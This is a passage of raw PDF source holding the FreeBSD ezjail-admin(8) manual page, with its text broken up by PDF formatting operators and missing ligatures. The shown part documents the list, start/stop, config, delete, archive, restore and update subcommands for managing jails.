1966(/usr/bin/login -f user)Tj
1967/TT6 1 Tf
196813.5605 0 TD
19690 Tw
1970(".)Tj
1971-39.0423 -1.2 TD
1972[(V)111(ariable: )]TJ
1973/TT10 1 Tf
19744.3031 0 TD
1975($ezjail_default_execute)Tj
1976/TT6 1 Tf
197713.8022 0 TD
1978(.)Tj
1979/TT4 1 Tf
1980-24.0053 -2.4 TD
1981(ezjail-admin )Tj
19827.5138 0 TD
1983(list)Tj
1984/TT6 1 Tf
1985-5.7138 -1.2 TD
1986[(List all jails inside ezjail)55(s)-250(scope. The)15(y)-250(are sorted by the order the)15(y)-250(start up, as de)]TJ
1987/TT11 1 Tf
198832.4604 0 TD
1989()Tj
1990/TT6 1 Tf
19910.5562 0 TD
1992(ned by)Tj
1993/TT10 1 Tf
19942.9438 0 TD
1995(rcorder)Tj
1996/TT6 1 Tf
19974.2007 0 TD
1998(\(1\).)Tj
1999-40.1611 -1.8 TD
2000(The )Tj
2001/TT11 1 Tf
20021.8047 0 TD
2003()Tj
2004/TT6 1 Tf
20050.5562 0 TD
2006(rst column is the status )Tj
2007/TT11 1 Tf
20089.416 0 TD
2009()Tj
2010/TT6 1 Tf
20110.5562 0 TD
2012(ag consisting of 2 or 3 letters. The )Tj
2013/TT11 1 Tf
201413.9136 0 TD
2015()Tj
2016/TT6 1 Tf
20170.5562 0 TD
2018(rst letter is the type of jail:)Tj
2019/TT2 1 Tf
2020-23.8027 -1.2 TD
2021(D)Tj
2022/TT6 1 Tf
20232.5 0 TD
2024(Directory tree based jail.)Tj
2025/TT2 1 Tf
2026-2.5 -1.2 TD
2027(I)Tj
2028/TT6 1 Tf
20292.5 0 TD
2030(File-based jail.)Tj
2031/TT2 1 Tf
2032-2.5 -1.2 TD
2033(E)Tj
2034/TT6 1 Tf
20352.5 0 TD
2036(Geli encrypted )Tj
2037/TT11 1 Tf
20386.1641 0 TD
2039()Tj
2040/TT6 1 Tf
20410.5562 0 TD
2042(le-based jail.)Tj
2043/TT2 1 Tf
2044-9.2202 -1.2 TD
2045(B)Tj
2046/TT6 1 Tf
20472.5 0 TD
2048(Bde encrypted )Tj
2049/TT11 1 Tf
20506.0532 0 TD
2051()Tj
2052/TT6 1 Tf
20530.5562 0 TD
2054(le-based jail.)Tj
2055/TT2 1 Tf
2056-9.1094 -1.2 TD
2057(Z)Tj
2058/TT6 1 Tf
20592.5 0 TD
2060(ZFS )Tj
2061/TT11 1 Tf
20621.9731 0 TD
2063()Tj
2064/TT6 1 Tf
20650.5562 0 TD
2066(lesystem-based jail.)Tj
2067-8.0293 -1.8 TD
2068(The second letter is the status of the jail:)Tj
2069/TT2 1 Tf
20703 -1.2 TD
2071(R)Tj
2072/TT6 1 Tf
20732.5 0 TD
2074(The jail is running.)Tj
2075/TT2 1 Tf
2076-2.5 -1.2 TD
2077(A)Tj
2078/TT6 1 Tf
20792.5 0 TD
2080[(The image of the jail is mounted, b)20(ut the jail is not running.)]TJ
2081/TT2 1 Tf
2082-2.5 -1.2 TD
2083(S)Tj
2084/TT6 1 Tf
20852.5 0 TD
2086(The jail is stopped.)Tj
2087-5.5 -1.8 TD
2088[(If present, the third letter)40(,)]TJ
2089/TT2 1 Tf
209010.4283 0 TD
2091(N)Tj
2092/TT6 1 Tf
20930.7222 0 TD
2094[(,)-250(means that the jail is not automatically started.)]TJ
2095-11.1504 -1.8 TD
20960.0657 Tw
2097[(The follo)25(wing columns are the JID \(when it is running\), the IP addresses, the name and the full path direc-)]TJ
20980 -1.2 TD
20990 Tw
2100(tory name of the jail.)Tj
2101/TT4 1 Tf
2102-1.8 -2.4 TD
2103(ezjail-admin )Tj
21047.5138 0 TD
2105(start)Tj
2106/TT6 1 Tf
21073.7505 0 TD
2108(|)Tj
2109/TT4 1 Tf
21100.9502 0 TD
2111(restart)Tj
2112/TT6 1 Tf
21134.9507 0 TD
2114(|)Tj
2115/TT4 1 Tf
21160.9502 0 TD
2117(stop)Tj
2118/TT6 1 Tf
21193.1504 0 TD
2120(|)Tj
2121/TT4 1 Tf
21220.9502 0 TD
2123(startcrypto)Tj
2124/TT6 1 Tf
21257.4344 0 TD
2126([)Tj
2127/TT8 1 Tf
21280.4163 0 TD
21290.3166 Tw
2130[(jailname .)-166.6(.)-166.6(.)]TJ
2131/TT6 1 Tf
21327.9343 0 TD
21330 Tw
2134(])Tj
2135-36.2009 -1.2 TD
21360.0298 Tw
2137(This is a shortcut to the)Tj
2138/TT10 1 Tf
21399.7887 0 TD
21400 Tw
2141(rc)Tj
2142/TT6 1 Tf
21431.2002 0 TD
2144(\(8\))Tj
2145/TT4 1 Tf
21461.4458 0 TD
2147(ezjail)Tj
2148/TT6 1 Tf
21493.8804 0 TD
21500.0297 Tw
2151(script. Refer to)Tj
2152/TT10 1 Tf
21536.3093 0 TD
21540 Tw
2155(ezjail)Tj
2156/TT6 1 Tf
21573.6006 0 TD
21580.0297 Tw
2159(\(7\) section)Tj
2160/TT10 1 Tf
21614.5579 0 TD
2162(Starting jails)Tj
2163/TT6 1 Tf
21648.7108 0 TD
2165(for details.)Tj
2166-39.4937 -1.8 TD
21670 Tw
2168(Note that, if ezjail is not enabled in)Tj
2169/TT10 1 Tf
217014.3013 0 TD
2171(rc.conf)Tj
2172/TT6 1 Tf
21734.2007 0 TD
2174(\(5\) with )Tj
2175/TT10 1 Tf
21763.8877 0 TD
2177(ezjail_enable=)Tj
2178/TT6 1 Tf
21798.4014 0 TD
2180(")Tj
2181/TT10 1 Tf
21820.4082 0 TD
2183(YES)Tj
2184/TT6 1 Tf
21851.8003 0 TD
2186(", nothing happens.)Tj
2187-32.9995 -1.8 TD
21880.1127 Tw
2189[(Since starting crypto image jails requires interaction with the administrator)40(,)-362.8(the)15(y)-362.8(are not run at boot time.)]TJ
21900 -1.2 TD
21910 Tw
2192(Use)Tj
2193/TT4 1 Tf
21941.8052 0 TD
2195(startcrypto)Tj
2196/TT6 1 Tf
21977.2011 0 TD
2198(to run them all at once.)Tj
2199/TT4 1 Tf
2200-10.8063 -2.4 TD
2201(ezjail-admin )Tj
22027.5138 0 TD
2203(config)Tj
2204/TT8 1 Tf
22054.3506 0 TD
2206(jailname)Tj
2207/TT6 1 Tf
2208-10.0644 -1.2 TD
22090.0566 Tw
2210(Manage parameters of speci)Tj
2211/TT11 1 Tf
221211.4144 0 TD
22130 Tw
2214()Tj
2215/TT6 1 Tf
22160.5562 0 TD
22170.0566 Tw
2218[(c ezjails. F)15(or running jails, most of the con)]TJ
2219/TT11 1 Tf
222017.5457 0 TD
22210 Tw
2222()Tj
2223/TT6 1 Tf
22240.5562 0 TD
22250.0566 Tw
2226[(guration changes described belo)25(w)]TJ
2227-30.0724 -1.2 TD
22280 Tw
2229[(will not be applied until the ne)15(xt time the jail is restarted.)]TJ
22300 -1.8 TD
2231[(The follo)25(wing options are a)20(v)25(ailable:)]TJ
2232/TT3 1 Tf
22330.1666 -1.8 TD
2234<00e9>Tj
2235/TT4 1 Tf
22360.6001 0 TD
2237(r run)Tj
2238/TT6 1 Tf
22393.6005 0 TD
2240(|)Tj
2241/TT4 1 Tf
22420.8002 0 TD
2243(norun)Tj
2244/TT6 1 Tf
2245-1.0674 -1.2 TD
2246(Set the jail to be automatically started or not on boot.)Tj
2247/TT3 1 Tf
2248-3.9334 -1.8 TD
2249<00e9>Tj
2250/TT4 1 Tf
22510.6001 0 TD
2252(n)Tj
2253/TT8 1 Tf
22541.2001 0 TD
2255(newname)Tj
2256/TT6 1 Tf
22572.1332 -1.2 TD
22580.0245 Tw
2259[(Rename the jail. Unless a custom root directory w)10(as gi)25(v)15(e)0(n)-274.5(with the)]TJ
2260/TT3 1 Tf
226127.4873 0 TD
22620 Tw
2263<00e9>Tj
2264/TT4 1 Tf
22650.6001 0 TD
2266(r)Tj
2267/TT11 1 Tf
22680.8746 0 TD
2269()Tj
2270/TT6 1 Tf
22710.5562 0 TD
22720.0245 Tw
2273(ag when creating the jail,)Tj
2274-29.5181 -1.2 TD
22750 Tw
2276(the root directory will be renamed as well. A running jail may not be renamed.)Tj
2277-7.1 -4.8 TD
227815.998 Tw
2279[(FreeBSD January)-250(15, )15998(2011)-19470(4)]TJ
2280ET
2281endstream
2282endobj
228322 0 obj
2284<<
2285/ProcSet [/PDF /Text ]
2286/Font <<
2287/TT2 4 0 R
2288/TT3 5 0 R
2289/TT4 6 0 R
2290/TT6 7 0 R
2291/TT8 8 0 R
2292/TT10 9 0 R
2293/TT11 10 0 R
2294>>
2295/ExtGState <<
2296/GS1 12 0 R
2297>>
2298>>
2299endobj
230024 0 obj
2301<<
2302/Length 6963
2303>>
2304stream
2305BT
2306/TT6 1 Tf
230710 0 0 10 72 744 Tm
23080 g
2309/GS1 gs
23100 Tc
2311-0.0834 Tw
2312[(EZJ)60(AIL-ADMIN \(8\))-8296.9(User)55(s)-250(Supplementary )-83.4(Documents)-8296.9(EZJ)60(AIL-ADMIN \(8\))]TJ
2313/TT3 1 Tf
23143.1666 -4.8 TD
23150 Tw
2316<00e9>Tj
2317/TT4 1 Tf
23180.6001 0 TD
2319(i attach)Tj
2320/TT6 1 Tf
23215.4008 0 TD
2322(|)Tj
2323/TT4 1 Tf
23240.8002 0 TD
2325(detach)Tj
2326/TT6 1 Tf
23274.2006 0 TD
2328(|)Tj
2329/TT4 1 Tf
23300.8002 0 TD
2331(fsck)Tj
2332/TT6 1 Tf
2333-7.8685 -1.2 TD
23340.0112 Tw
2335[(Only v)25(alid for stopped image jails. Attaching a jail means making the content of the root of the jail)]TJ
2336T*
23370.2061 Tw
2338(accessible from the host. No other sub-commands will function on an jail while its image is)Tj
2339T*
23400.0852 Tw
2341[(attached. W)40(ith)]TJ
2342/TT4 1 Tf
23436.211 0 TD
23440 Tw
2345(fsck)Tj
2346/TT6 1 Tf
23472.4004 0 TD
23480.0851 Tw
2349[(,)-335.2(the image jail is attached,)]TJ
2350/TT10 1 Tf
235111.4511 0 TD
23520 Tw
2353(fsck)Tj
2354/TT6 1 Tf
23552.4004 0 TD
23560.0851 Tw
2357(\(8\) is run, then the image jail is detached.)Tj
2358-22.4629 -1.2 TD
23590 Tw
2360[(Y)110(o)0(u)-250(can only fsck image based jails.)]TJ
2361/TT3 1 Tf
2362-3.9334 -1.8 TD
2363<00e9>Tj
2364/TT4 1 Tf
23650.6001 0 TD
2366(z)Tj
2367/TT8 1 Tf
23681.2001 0 TD
2369(newdataset)Tj
2370/TT6 1 Tf
23712.1332 -1.2 TD
2372[(Set the gi)25(v)15(e)0(n)-250(ZFS dataset to be mounted inside the jail )]TJ
2373/TT11 1 Tf
237422.0396 0 TD
2375()Tj
2376/TT6 1 Tf
23770.5562 0 TD
2378(le system when it is started.)Tj
2379/TT3 1 Tf
2380-26.5291 -1.8 TD
2381<00e9>Tj
2382/TT4 1 Tf
23830.6001 0 TD
2384(f)Tj
2385/TT8 1 Tf
23861.2001 0 TD
2387(newfib)Tj
2388/TT6 1 Tf
23892.1332 -1.2 TD
2390(Change the FIB of the jail \(see)Tj
2391/TT10 1 Tf
239212.5244 0 TD
2393(setfib)Tj
2394/TT6 1 Tf
23953.6006 0 TD
2396(\(2\)\).)Tj
2397/TT3 1 Tf
2398-20.0584 -1.8 TD
2399<00e9>Tj
2400/TT4 1 Tf
24010.6001 0 TD
2402(c)Tj
2403/TT8 1 Tf
24041.2001 0 TD
2405(newcpuset)Tj
2406/TT6 1 Tf
24072.1332 -1.2 TD
2408(Change the CPU af)Tj
2409/TT11 1 Tf
24107.7235 0 TD
2411()Tj
2412/TT6 1 Tf
24130.5562 0 TD
2414(nity set of the jail \(see)Tj
2415/TT10 1 Tf
24169.1084 0 TD
2417(cpuset)Tj
2418/TT6 1 Tf
24193.6006 0 TD
2420(\(2\)\).)Tj
2421/TT4 1 Tf
2422-26.8887 -2.4 TD
2423(ezjail-admin )Tj
24247.5138 0 TD
2425(delete)Tj
2426/TT8 1 Tf
24274.3506 0 TD
2428(jailname)Tj
2429/TT6 1 Tf
2430-10.0644 -1.2 TD
24310.1872 Tw
2432[(Delete a jail. By def)10(ault, this command only deletes ezjail)55(s)-437.3(control )]TJ
2433/TT11 1 Tf
243429.1809 0 TD
24350 Tw
2436()Tj
2437/TT6 1 Tf
24380.5562 0 TD
24390.1873 Tw
2440(le for the selected jail as well as)Tj
2441/TT10 1 Tf
2442-29.7371 -1.2 TD
24430 Tw
2444(/etc/fstab.)Tj
2445/TT8 1 Tf
24466.6011 0 TD
2447(jailname)Tj
2448/TT6 1 Tf
24494.8008 0 TD
2450[(.)-500(The)]TJ
2451/TT10 1 Tf
24522.5547 0 TD
2453(/usr/jails/)Tj
2454/TT8 1 Tf
24556.6011 0 TD
2456(jailname)Tj
2457/TT6 1 Tf
24585.0508 0 TD
2459(directory is not deleted.)Tj
2460/TT3 1 Tf
2461-25.4418 -1.8 TD
2462<00e9>Tj
2463/TT4 1 Tf
24640.6001 0 TD
2465(f)Tj
2466/TT6 1 Tf
24673.3333 0 TD
2468(Stop the jail before deleting it.)Tj
2469/TT3 1 Tf
2470-3.9334 -1.8 TD
2471<00e9>Tj
2472/TT4 1 Tf
24730.6001 0 TD
2474(w)Tj
2475/TT6 1 Tf
24763.3333 0 TD
2477(Delete the directory or the )Tj
2478/TT11 1 Tf
247910.7451 0 TD
2480()Tj
2481/TT6 1 Tf
24820.5562 0 TD
2483(le backing the jail.)Tj
2484/TT4 1 Tf
2485-17.2013 -2.4 TD
2486(ezjail-admin )Tj
24877.5138 0 TD
2488(archive)Tj
2489/TT6 1 Tf
24905.034 0 TD
2491-0.1667 Tw
2492[([)-83.3(jailname ])]TJ
2493-10.7478 -1.2 TD
24940.0139 Tw
2495[(Create a backup of one or all jails. The jail)55(s)-263.9(root directory tree is back)10(ed up as a)]TJ
2496/TT10 1 Tf
249732.7003 0 TD
24980 Tw
2499(pax)Tj
2500/TT6 1 Tf
25011.8003 0 TD
25020.0139 Tw
2503[(\(1\) archi)25(v)15(e)0(.)-263.9(B)0(y)-263.9(def)10(ault,)]TJ
2504-34.5006 -1.2 TD
25050 Tw
2506(the jail needs to be stopped.)Tj
2507/TT3 1 Tf
25080.1666 -1.8 TD
2509<00e9>Tj
2510/TT4 1 Tf
25110.6001 0 TD
2512(A)Tj
2513/TT6 1 Tf
25143.3333 0 TD
2515[(Archi)25(v)15(e)15( )-15(all jails. Y)110(ou must neither specify an archi)25(v)15(ename nor a jailname in this case.)]TJ
2516/TT3 1 Tf
2517-3.9334 -1.8 TD
2518<00e9>Tj
2519/TT4 1 Tf
25200.6001 0 TD
2521(a)Tj
2522/TT8 1 Tf
25231.2001 0 TD
2524(archivename)Tj
2525/TT6 1 Tf
25262.1332 -1.2 TD
25270.0938 Tw
2528[(Use this name for the archi)25(v)15(e)15( )]TJ
2529/TT11 1 Tf
253012.5184 0 TD
25310 Tw
2532()Tj
2533/TT6 1 Tf
25340.5562 0 TD
25350.0938 Tw
2536[(le. If absent, the archi)25(v)15(e)15( )]TJ
2537/TT11 1 Tf
253810.2854 0 TD
25390 Tw
2540()Tj
2541/TT6 1 Tf
25420.5562 0 TD
25430.0939 Tw
2544[(le name is deri)25(v)15(e)0(d)-343.9(from the jail name,)]TJ
2545-23.9162 -1.2 TD
25460 Tw
2547[(with the current date and time appended to the archi)25(v)15(e)0()55(s)55( )]TJ
2548/TT11 1 Tf
254922.6184 0 TD
2550()Tj
2551/TT6 1 Tf
25520.5562 0 TD
2553(le name. Use)Tj
2554/TT10 1 Tf
25555.4424 0 TD
2556(-)Tj
2557/TT6 1 Tf
25580.8501 0 TD
2559(to write to stdout.)Tj
2560/TT3 1 Tf
2561-33.4004 -1.8 TD
2562<00e9>Tj
2563/TT4 1 Tf
25640.6001 0 TD
2565(d)Tj
2566/TT8 1 Tf
25671.2001 0 TD
2568(directory)Tj
2569/TT6 1 Tf
25702.1332 -1.2 TD
25710.0018 Tw
2572[(Sa)20(v)15(e)15( )-15(the archi)25(v)15(e)15( )-15(in)-251.8(this directory)65(.)-251.8(I)0(f)-251.8(this option is not gi)25(v)15(e)0(n)-251.8(and )]TJ
2573/TT10 1 Tf
257426.004 0 TD
25750 Tw
2576($ezjail_archivedir)Tj
2577/TT6 1 Tf
257810.8018 0 TD
25790.2518 Tc
2580[(i)251.8(sn)251.8(o)251.8(t)]TJ
2581-36.8058 -1.2 TD
25820 Tc
2583[(set, the archi)25(v)15(e)15( )-15(is)-250(sa)20(v)20( )245(ed)-250(in)-250(the def)10(ault directory)65(.)-500(V)111(ariable: )]TJ
2584/TT10 1 Tf
258523.7571 0 TD
2586($ezjail_archivedir)Tj
2587/TT6 1 Tf
258810.8018 0 TD
2589(.)Tj
2590/TT3 1 Tf
2591-38.4922 -1.8 TD
2592<00e9>Tj
2593/TT4 1 Tf
25940.6001 0 TD
2595(f)Tj
2596/TT6 1 Tf
25973.3333 0 TD
2598[(Archi)25(v)15(e)15( )-15(the jail e)25(v)15(en)-250(when it is running.)]TJ
2599-4.1 -1.8 TD
2600(Use)Tj
2601/TT4 1 Tf
26021.8052 0 TD
2603(ezjail-admin )Tj
26047.4513 0 TD
2605(restore)Tj
2606/TT6 1 Tf
26074.4507 0 TD
2608(or)Tj
2609/TT4 1 Tf
26101.083 0 TD
2611(ezjail-admin )Tj
26127.4513 0 TD
2613(create)Tj
2614/TT3 1 Tf
26154.3672 0 TD
2616<00e9>Tj
2617/TT4 1 Tf
26180.6001 0 TD
2619(a)Tj
2620/TT8 1 Tf
26211.2001 0 TD
2622(archive)Tj
2623/TT6 1 Tf
26244.4507 0 TD
2625[(to restore an archi)25(v)15(e)0(.)]TJ
2626/TT4 1 Tf
2627-34.6595 -2.4 TD
2628(ezjail-admin )Tj
26297.5138 0 TD
2630(restore)Tj
2631/TT6 1 Tf
2632-5.7138 -1.2 TD
26330.026 Tw
2634[(Create ne)25(w)-276(ezjails from archi)25(v)15(e)0(d)-276(v)15(ersions. It tries to collect all information necessary to do that without user)]TJ
2635T*
26360 Tw
2637[(interaction from the user)55(.)]TJ
26380 -1.8 TD
2639[(The follo)25(wing operand is mandatory:)]TJ
2640/TT8 1 Tf
2641T*
2642(archive)Tj
2643/TT6 1 Tf
26444.8007 0 TD
2645(|)Tj
2646/TT8 1 Tf
26470.8002 0 TD
2648(jailname)Tj
2649/TT6 1 Tf
2650-1.5009 -1.2 TD
26510.0538 Tw
2652[(Restore this jail. If only the jail name is gi)25(v)15(en,)]TJ
2653/TT4 1 Tf
265419.2719 0 TD
26550 Tw
2656(ezjail-admin)Tj
2657/TT6 1 Tf
26587.505 0 TD
26590.0538 Tw
2660[(will use the most recent archi)25(v)15(e)]TJ
2661/TT11 1 Tf
2662-26.7769 -1.2 TD
26630 Tw
2664()Tj
2665/TT6 1 Tf
26660.5562 0 TD
26670.008 Tw
2668(le matching the name you speci)Tj
2669/TT11 1 Tf
267012.6748 0 TD
26710 Tw
2672()Tj
2673/TT6 1 Tf
26740.5562 0 TD
26750.008 Tw
2676[(ed.)-508(T)80(o)80( )-80(restore an older v)15(ersion, specify the complete archi)25(v)15(e)15( )]TJ
2677/TT11 1 Tf
267824.6296 0 TD
26790 Tw
2680()Tj
2681/TT6 1 Tf
26820.5562 0 TD
2683(le)Tj
2684-38.9728 -1.2 TD
2685(name \()Tj
2686/TT11 1 Tf
26872.7485 0 TD
2688()Tj
2689/TT6 1 Tf
26900.5562 0 TD
2691[(le name with the date and time of the archi)25(v)15(e)15( )-15(appended to it\).)]TJ
2692-7.4047 -1.8 TD
2693[(The follo)25(wing options are a)20(v)25(ailable:)]TJ
2694/TT3 1 Tf
26950.1666 -1.8 TD
2696<00e9>Tj
2697/TT4 1 Tf
26980.6001 0 TD
2699(d)Tj
2700/TT8 1 Tf
27011.2001 0 TD
2702(archivedir)Tj
2703/TT6 1 Tf
27042.1332 -1.2 TD
27050.188 Tw
2706[(Search the archi)25(v)15(e)15( )]TJ
2707/TT11 1 Tf
27088.1588 0 TD
27090 Tw
2710()Tj
2711/TT6 1 Tf
27120.5562 0 TD
27130.188 Tw
2714[(le in this directory)65(.)-438(I)0(f)-438(this option is not gi)25(v)15(en, the archi)25(v)15(e)15( )-15(is)-438(searched in)]TJ
2715-8.7149 -1.2 TD
27160 Tw
2717()Tj
2718/TT10 1 Tf
27190.4438 0 TD
2720($ezjail_archivedir)Tj
2721/TT6 1 Tf
272210.8018 0 TD
2723(.)Tj
2724-18.3456 -6.6 TD
272515.998 Tw
2726[(FreeBSD January)-250(15, )15998(2011)-19470(5)]TJ
2727ET
2728endstream
2729endobj
273025 0 obj
2731<<
2732/ProcSet [/PDF /Text ]
2733/Font <<
2734/TT3 5 0 R
2735/TT4 6 0 R
2736/TT6 7 0 R
2737/TT8 8 0 R
2738/TT10 9 0 R
2739/TT11 10 0 R
2740>>
2741/ExtGState <<
2742/GS1 12 0 R
2743>>
2744>>
2745endobj
274627 0 obj
2747<<
2748/Length 7382
2749>>
2750stream
2751BT
2752/TT6 1 Tf
275310 0 0 10 72 744 Tm
27540 g
2755/GS1 gs
27560 Tc
2757-0.0834 Tw
2758[(EZJ)60(AIL-ADMIN \(8\))-8296.9(User)55(s)-250(Supplementary )-83.4(Documents)-8296.9(EZJ)60(AIL-ADMIN \(8\))]TJ
2759/TT3 1 Tf
27603.1666 -4.8 TD
27610 Tw
2762<00e9>Tj
2763/TT4 1 Tf
27640.6001 0 TD
2765(f)Tj
2766/TT6 1 Tf
27673.3333 0 TD
27680.1345 Tw
2769[(Restore the archi)25(v)15(e)15( )-15(e)25(v)15(en)-384.5(if)-384.5(running on a host dif)25(ferent from where it w)10(as archi)25(v)15(ed. Be def)10(ault,)]TJ
2770/TT4 1 Tf
27710 -1.2 TD
27720 Tw
2773(ezjail-admin)Tj
2774/TT6 1 Tf
27757.6458 0 TD
27760.1945 Tw
2777[(will refuse to restore an archi)25(v)15(e)15( )-15(if)-444.5(the archi)25(v)15(e)0(d)-444.5(host system)55(s)-444.5(hostname, its)]TJ
2778-7.6458 -1.2 TD
27790 Tw
2780[(FreeBSD v)15(ersion or CPU architecture do not match the current host.)]TJ
2781/TT4 1 Tf
2782-5.9 -2.4 TD
2783(ezjail-admin )Tj
27847.5138 0 TD
2785(update)Tj
2786/TT6 1 Tf
2787-5.7138 -1.2 TD
27880.0514 Tw
2789[(Updates ezjail)55(s)-301.4(basejail, or in the)]TJ
2790/TT3 1 Tf
279114.2208 0 TD
27920 Tw
2793<00e9>Tj
2794/TT4 1 Tf
27950.6001 0 TD
2796(b)Tj
2797/TT6 1 Tf
27980.9015 0 TD
2799(or)Tj
2800/TT3 1 Tf
28011.301 0 TD
2802<00e9>Tj
2803/TT4 1 Tf
28040.6001 0 TD
2805(i)Tj
2806/TT6 1 Tf
28070.9015 0 TD
28080.0514 Tw
2809[(case, install a FreeBSD w)10(orld from source to be used as base-)]TJ
2810-18.525 -1.2 TD
28110 Tw
2812(jail.)Tj
28130 -1.8 TD
2814[(Exactly one of the follo)25(wing operand must be speci)]TJ
2815/TT11 1 Tf
281620.5805 0 TD
2817()Tj
2818/TT6 1 Tf
28190.5562 0 TD
2820(ed:)Tj
2821/TT3 1 Tf
2822-20.97 -1.8 TD
2823<00e9>Tj
2824/TT4 1 Tf
28250.6001 0 TD
2826(b)Tj
2827/TT6 1 Tf
28283.3333 0 TD
28290.2411 Tw
2830[(Build a w)10(orld from source and install it as the \(updated\) basejail.)-741.1(mak)10(e)-491.1(b)20(uildw)10(orld; mak)10(e)]TJ
28310 -1.2 TD
28320 Tw
2833[(install)10(w)10(orld by def)10(ault using the sources located at)]TJ
2834/TT10 1 Tf
283520.9641 0 TD
2836(/usr/src)Tj
2837/TT6 1 Tf
28385.0508 0 TD
2839[(\(b)20(ut see the)]TJ
2840/TT3 1 Tf
28415.006 0 TD
2842<00e9>Tj
2843/TT4 1 Tf
28440.6001 0 TD
2845(s)Tj
2846/TT6 1 Tf
28470.8501 0 TD
2848(option\).)Tj
2849-32.4711 -1.8 TD
28500.1362 Tw
2851[(As the old basejail is not deleted, b)20(ut merely o)15(v)15(erwritten, this usually lea)20(v)15(e)0(s)-386.3(all jails in a state)]TJ
28520 -1.2 TD
28530 Tw
2854[(where the)15(y)-250(still )]TJ
2855/TT11 1 Tf
28566.4 0 TD
2857()Tj
2858/TT6 1 Tf
28590.5562 0 TD
2860-0.0001 Tc
28610.0001 Tw
2862[(nd older v)14.9(ersions of libraries the)14.9(y)-250.1(were link)9.9(ed against.)]TJ
2863/TT3 1 Tf
2864-10.8896 -1.8 TD
28650 Tc
28660 Tw
2867<00e9>Tj
2868/TT4 1 Tf
28690.6001 0 TD
2870(i)Tj
2871/TT6 1 Tf
28723.3333 0 TD
2873-0.016 Tc
28740.039 Tw
2875[(A)-16(s)-16( a)-16(b)-16(ove )-15(bu)-16(t)-16( )]TJ
28765.5459 0 TD
28770 Tc
28780.0229 Tw
2879[(only perform a mak)10(e)-272.9(install)10(w)10(orld, assuming the w)10(orld has already been b)20(uilt. That)]TJ
2880-5.5459 -1.2 TD
28810 Tw
2882[(is highly lik)10(ely since it is recommended to update the basejail along with the host system.)]TJ
2883/TT3 1 Tf
2884-3.9334 -1.8 TD
2885<00e9>Tj
2886/TT4 1 Tf
28870.6001 0 TD
2888(u)Tj
2889/TT6 1 Tf
28903.3333 0 TD
2891(Use)Tj
2892/TT10 1 Tf
28932.0595 0 TD
2894(freebsd-update)Tj
2895/TT6 1 Tf
28968.4014 0 TD
28970.2543 Tw
2898(\(8\) to update the basejail. Note that as)Tj
2899/TT10 1 Tf
290017.446 0 TD
29010 Tw
2902(freebsd-update)Tj
2903/TT6 1 Tf
29048.4014 0 TD
29050.2543 Tw
2906(\(8\) uses)Tj
2907-36.3082 -1.2 TD
29080 Tw
2909()Tj
2910/TT10 1 Tf
29110.4438 0 TD
29120.1434 Tw
2913(uname -r)Tj
2914/TT6 1 Tf
29154.9442 0 TD
2916[()-393.4(t)0(o)-393.4(determine the currently running system, the base jail and the host need to be)]TJ
2917-5.388 -1.2 TD
29180 Tw
2919[(updated at the same time, without rebooting on the ne)25(w)-250(k)10(ernel in the meantime.)]TJ
2920/TT3 1 Tf
2921-3.9334 -1.8 TD
2922<00e9>Tj
2923/TT4 1 Tf
29240.6001 0 TD
2925(U)Tj
2926/TT6 1 Tf
29273.3333 0 TD
2928(Use)Tj
2929/TT10 1 Tf
29301.8167 0 TD
2931(freebsd-update)Tj
2932/TT6 1 Tf
29338.4014 0 TD
29340.0115 Tw
2935[(\(8\) to upgrade the basejail to the hosts operating system v)15(ersion, or a v)15(e)0(r)20(-)]TJ
2936-10.218 -1.2 TD
29370.1295 Tw
2938[(sion you may pass freebsd-update)55(s)-379.5(call to uname -r via the)]TJ
2939/TT10 1 Tf
294026.2776 0 TD
29410 Tw
2942(UNAME_r)Tj
2943/TT6 1 Tf
29444.5801 0 TD
29450.1294 Tw
2946[(en)40(vironment v)25(ariable.)]TJ
2947-30.8577 -1.2 TD
29480.1302 Tw
2949[(Since there currently is no w)10(ay of infering the osv)15(ersion currently installed in the basejail, you)]TJ
2950T*
29510 Tw
2952[(need to remember the original osv)15(ersion and pass it to this script using the)]TJ
2953/TT3 1 Tf
295430.0901 0 TD
2955<00e9>Tj
2956/TT4 1 Tf
29570.6001 0 TD
2958(s)Tj
2959/TT6 1 Tf
29600.8501 0 TD
2961(option.)Tj
2962/TT3 1 Tf
2963-35.4737 -1.8 TD
2964<00e9>Tj
2965/TT4 1 Tf
29660.6001 0 TD
2967(P)Tj
2968/TT6 1 Tf
29693.3333 0 TD
29700.0512 Tw
2971(Install only the ports tree, assuming the basejail has already been created. This can be done while)Tj
29720 -1.2 TD
29730 Tw
2974(jails are running. The)Tj
2975/TT10 1 Tf
29768.8027 0 TD
2977(portsnap)Tj
2978/TT6 1 Tf
29794.8008 0 TD
2980[(\(8\) utility is in)40(v)20(o)0(k)10(e)0(d)-250(t)0(o)-250(d)0(o)-250(the actual w)10(ork.)]TJ
2981-17.7035 -1.8 TD
2982[(The follo)25(wing options are a)20(v)25(ailable:)]TJ
2983/TT3 1 Tf
29840.1666 -1.8 TD
2985<00e9>Tj
2986/TT4 1 Tf
29870.6001 0 TD
2988(p)Tj
2989/TT6 1 Tf
29903.3333 0 TD
29910.0638 Tw
2992[(Gi)25(v)15(e)15( )-15(the ne)25(w)-313.8(basejail a cop)10(y)-313.8(o)0(f)-313.8(FreeBSD)55(s)-313.8(ports tree. The)]TJ
2993/TT10 1 Tf
299424.1758 0 TD
29950 Tw
2996(portsnap)Tj
2997/TT6 1 Tf
29984.8008 0 TD
29990.0638 Tw
3000[(\(8\) utility is in)40(v)20(o)0(k)10(e)0(d)-313.9(t)0(o)-313.9(d)0(o)]TJ
3001-28.9766 -1.2 TD
30020 Tw
3003[(the actual w)10(ork.)]TJ
3004/TT3 1 Tf
3005-3.9334 -1.8 TD
3006<00e9>Tj
3007/TT4 1 Tf
30080.6001 0 TD
3009(s)Tj
3010/TT8 1 Tf
30111.2001 0 TD
3012(sourcedir)Tj
3013/TT6 1 Tf
30146.0009 0 TD
3015(|)Tj
3016/TT8 1 Tf
30170.8002 0 TD
3018(sourceosversion)Tj
3019/TT6 1 Tf
3020-4.6679 -1.2 TD
30210.1957 Tw
3022(In the)Tj
3023/TT3 1 Tf
30243.1127 0 TD
30250 Tw
3026<00e9>Tj
3027/TT4 1 Tf
30280.6001 0 TD
3029(b)Tj
3030/TT6 1 Tf
30311.3958 0 TD
3032(and)Tj
3033/TT3 1 Tf
30342.0561 0 TD
3035<00e9>Tj
3036/TT4 1 Tf
30370.6001 0 TD
3038(i)Tj
3039/TT6 1 Tf
30401.3957 0 TD
30410.1956 Tw
3042(case: Use the sources in)Tj
3043/TT8 1 Tf
304410.7802 0 TD
30450 Tw
